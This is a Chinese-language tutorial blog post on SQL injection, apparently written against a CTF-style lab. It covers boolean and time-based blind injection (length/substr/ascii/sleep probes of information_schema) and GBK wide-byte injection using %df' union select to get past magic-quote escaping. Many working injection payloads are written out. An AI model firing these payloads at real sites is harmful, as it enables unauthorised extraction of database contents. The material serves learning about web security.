SQL注入篇学习之盲注/宽字节注入


Posted in MySQL onMarch 03, 2022

盲注

有时目标存在注入,但在页面上没有任何回显,此时,我们需要利用一些方法进行判断或者尝试得到数据,这个过程称之为盲注。

时间盲注其实和布尔盲注其实没有什么太大的区别,只不过是一个依靠页面是否正常判断,一个是否延时判断,在操作上其实也差不多,只不过时间注入多一个if()

布尔盲注

布尔很明显就是true和false,也就是说它只会根据信息返回true和false,也就是没有了之前的报错信息。

时间盲注

界面返回值只有一种true,无论输入任何值,返回情况都会按照正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确。

盲注函数

length() 函数 返回字符串的长度

?id=1 and length(database())>1

substr() 截取字符串 , 从第一位截取一个

?id=1 and substr(database(),1,1)='k'

ord()/ascii() 返回字符的ascii码

?id=1 and ord(substr(database(),1,1))=107

limit 0,1 显示第一条

substr(截取的内容,截取的位数,截取的个数)

substr(database(),1,1) 显示第一位字符

时间型:sleep(n) 将程序挂起一段时间,n为n秒

if(expr1,expr2,expr3) 判断语句 如果第一个语句正确就执行第二个语句,如果错误执行第三个语句

?id=1' and if(length(database())=8,1,sleep(5))-- +

演示语句

猜数据库的长度;
?id=1 and (length(database()))>11#

猜测数据库的库名:
?id=1 and ascii(substr(database(),1,1))>1#

猜表名(示例为查询第一个表名)
and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6     //注意括号问题

and substr((select table_name from information_schema.tables where table_schema='kanwolongxia' limit 0,1),1,1)='l'     

猜第一个字段名第一个字符:
and substr((select column_name from information_schema.columns where table_name='loflag' limit 0,1),1,1)='i'  

猜第一个字段名第二个字符:
and substr((select column_name from information_schema.columns where table_name='loflag' limit 0,1),2,1)='i'  


猜第二个字段名:
and substr((select column_name from information_schema.columns where table_name='loflag' limit 1,1),2,1)='l'#  

猜字段中的内容:
and (ascii(substr(( select flaglo from loflag limit 0,1),1,1)))=122

时间盲注猜测数据库的长度:
?id=1" and if(length(database())=12,sleep(5),1) -- +

猜测数据库的库名:
if(ascii(substr(database(),1,1))>120,0,sleep(10)) --+

猜测数据库中表的长度:
?id=1" and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6,sleep(5),1) -- +

猜测数据库中的表名:
?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=120,sleep(5),1) -- +

猜测表中的字段名的长度:
?id=1" and if(length((select column_name from information_schema.columns where table_schema=database() and table_name='loflag' limit 0,1))=2,sleep(5),111) -- +

猜测表中的字段名:
?id=1" and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='loflag' limit 0,1),1,1))=73,sleep(5),111) -- +

猜测字段中内容的长度:
?id=1" and if(length((select flaglo from loflag limit 0,1))=111,sleep(5),111) -- +

猜测字段中的内容:
?id=1" and if((ascii(substr((select flaglo from loflag limit 0,1),1,1)))=120,sleep(5),111) -- +

burp抓包演示

先判断长度,再判断内容

SQL注入篇学习之盲注/宽字节注入

SQL注入篇学习之盲注/宽字节注入

SQL注入篇学习之盲注/宽字节注入

宽字节注入

php魔术函数

  • magic_quotes_gpc(魔术引号开关)——> 防御sql注入
  • magic_quotes_gpc函数在php中的作用是判断解析用户提交的数据,如包括有:post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误,防止注入使其无法闭合。
  • 单引号(’)、双引号(”)、反斜线(\)等字符都会被加上反斜线

开启方式

SQL注入篇学习之盲注/宽字节注入

php在版本5.4开始将魔术引号的设置转化为特定函数addalashes()使用,$b = addcslashes($_REQUEST[8]);不在配置文件中打开【原因是将安全编码交给了用户自己,避免用户过度依赖造成安全隐患】,或者在php.ini中修改。

开启效果

SQL注入篇学习之盲注/宽字节注入

SQL注入篇学习之盲注/宽字节注入

SQL注入篇学习之盲注/宽字节注入

作用

当PHP的传参中有特殊字符就会再前面加转义字符’\’,来做一定的过滤

绕过方法

单引号和双引号内的一切都是字符串,那我们输入的东西如果不能闭合掉单引号和双引号,我们的输入就不会当作代码执行,就无法产生SQL注入,那我们该怎么办?

  • 不需要闭合
  • 仔细查看作用域(POST、GET、COOKIE),$_SERVER就在作用域之外。
  • 宽字节注入

宽字节注入

尽管现在呼吁所有的程序都使用unicode编码,所有的网站都使用utf-8编码,来一个统一的国际规范。但仍然有很多,包括国内及国外(特别是非英语国家)的一些cms,仍然使用着自己国家的一套编码,比如我国的gbk、gb2312,作为自己默认的编码类型。也有一些cms为了考虑老用户,推出了gbk和utf-8两个版本(例如:dedecms)
我们就以gbk字符编码为例,拉开帷幕。GBK【双字符编码】全称《汉字内码扩展规范》,gbk是一种多字符编码【多个字符组在一起成为一个字】。他使用了双字节编码方案,因为双字节编码所以gbk编码汉字,占用2个字节。一个utf-8编码的汉字,占用3个字节。

  • 核心:传一个字符将反斜杠吃掉成为汉字
  • 数据库使用GBK编码可能存在宽字节注入
  • MySql的编码设置:SET NAMES 'gbk'或是 SET character_set_client =gbk
  • 宽字节SQL注入就是PHP发送请求到MySql时使用了语句
  • SET NAMES 'gbk' 或是SET character_set_client =gbk 进行了一次编码,但是又由于一些不经意的字符集转换导致了宽字节注入。
  • %df \、%9c \ ——>汉字
  • 绕过其中的单引号等字符,除了采用嵌套法?id=1%df' union select 1,2, column_name from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1)-- +
  • 也可以采用十六进制标识法?id=1%df' union select 1,2, column_name from information_schema.columns where table_name=0x6368696e615f666c6167 limit 1,1-- +
  • 宽字节注入可以直接传入汉字

SQL注入篇学习之盲注/宽字节注入

总结 

到此这篇关于SQL注入篇学习之盲注/宽字节注入的文章就介绍到这了,更多相关SQL盲注/宽字节注入内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

MySQL 相关文章推荐
MySQL 分页查询的优化技巧
May 12 MySQL
mysql 8.0.24 安装配置方法图文教程
May 12 MySQL
MySQL 使用索引扫描进行排序
Jun 20 MySQL
mysql sum(if())和count(if())的用法说明
Jan 18 MySQL
如何避免mysql启动时错误及sock文件作用分析
Jan 22 MySQL
分享MySQL常用 内核 Debug 几种常见方法
Mar 17 MySQL
mysql数据插入覆盖和时间戳的问题及解决
Mar 25 MySQL
MySQL时区造成时差问题
Apr 13 MySQL
MySQL 条件查询的常用操作
Apr 28 MySQL
mysql5.5中文乱码问题解决的有用方法
May 30 MySQL
MySQL数据库之内置函数和自定义函数 function
Jun 16 MySQL
MySQL主从切换的超详细步骤
Jun 28 MySQL
MySQL为数据表建立索引的原则详解
Mar 03 #MySQL
MySQL数据库完全卸载的方法
千万级用户系统SQL调优实战分享
Mar 03 #MySQL
解析MySQL索引的作用
Arthas排查Kubernetes中应用频繁挂掉重启异常
Feb 28 #MySQL
一文搞懂MySQL索引页结构
MySQL七大JOIN的具体使用
You might like
PHP分页函数代码(简单实用型)
2010/12/02 PHP
php中实现简单的ACL 完结篇
2011/09/07 PHP
php中3种方法统计字符串中每种字符的个数并排序
2012/08/27 PHP
php多线程实现方法及用法实例详解
2015/10/26 PHP
动态改变textbox的宽高的js
2006/10/26 Javascript
Mootools 图片展示插件(lightbox,ImageMenu)收集集合
2010/05/21 Javascript
jQuery1.4.2与老版本json格式兼容的解决方法
2011/02/12 Javascript
基于jQuery的为attr添加id title等效果的实现代码
2011/04/20 Javascript
Javascript保存网页为图片借助于html2canvas库实现
2014/09/05 Javascript
jquery图片切换插件
2015/03/16 Javascript
js事件驱动机制 浏览器兼容处理方法
2016/07/23 Javascript
JS中传递参数的几种不同方法比较
2017/01/20 Javascript
JavaScript解析JSON格式数据的方法示例
2017/01/24 Javascript
angular 数据绑定之[]和{{}}的区别
2018/09/25 Javascript
Node.js的进程管理的深入理解
2019/01/09 Javascript
利用JS响应式修改vue实现页面的input值
2019/09/02 Javascript
ES6 Object.assign()的用法及其使用
2020/01/18 Javascript
Python 文件管理实例详解
2015/11/10 Python
详解Python的Django框架中manage命令的使用与扩展
2016/04/11 Python
Python while 循环使用的简单实例
2016/06/08 Python
windows下python连接oracle数据库
2017/06/07 Python
Django csrf 两种方法设置form的实例
2019/02/03 Python
python中for循环变量作用域及用法详解
2019/11/05 Python
Python如何使用paramiko模块连接linux
2020/03/18 Python
浅谈CSS3特性查询(Feature Query: @supports)功能简介
2017/07/31 HTML / CSS
HTML5 Canvas 起步(1) - 基本概念
2009/05/12 HTML / CSS
美国钻石商店:Zales
2016/11/20 全球购物
Allsole美国/加拿大:英国一家专门出售品牌鞋子的网站
2018/10/21 全球购物
金融专业个人求职信
2013/09/22 职场文书
党员的自我评价范文
2014/01/02 职场文书
出纳试用期自我鉴定
2014/04/07 职场文书
师德师风个人反思
2014/04/28 职场文书
会计岗位职责
2015/02/03 职场文书
会计岗位职责范本
2015/04/02 职场文书
请学会珍惜眼前,因为人生没有下辈子!
2019/11/12 职场文书
python多次执行绘制条形图
2022/04/20 Python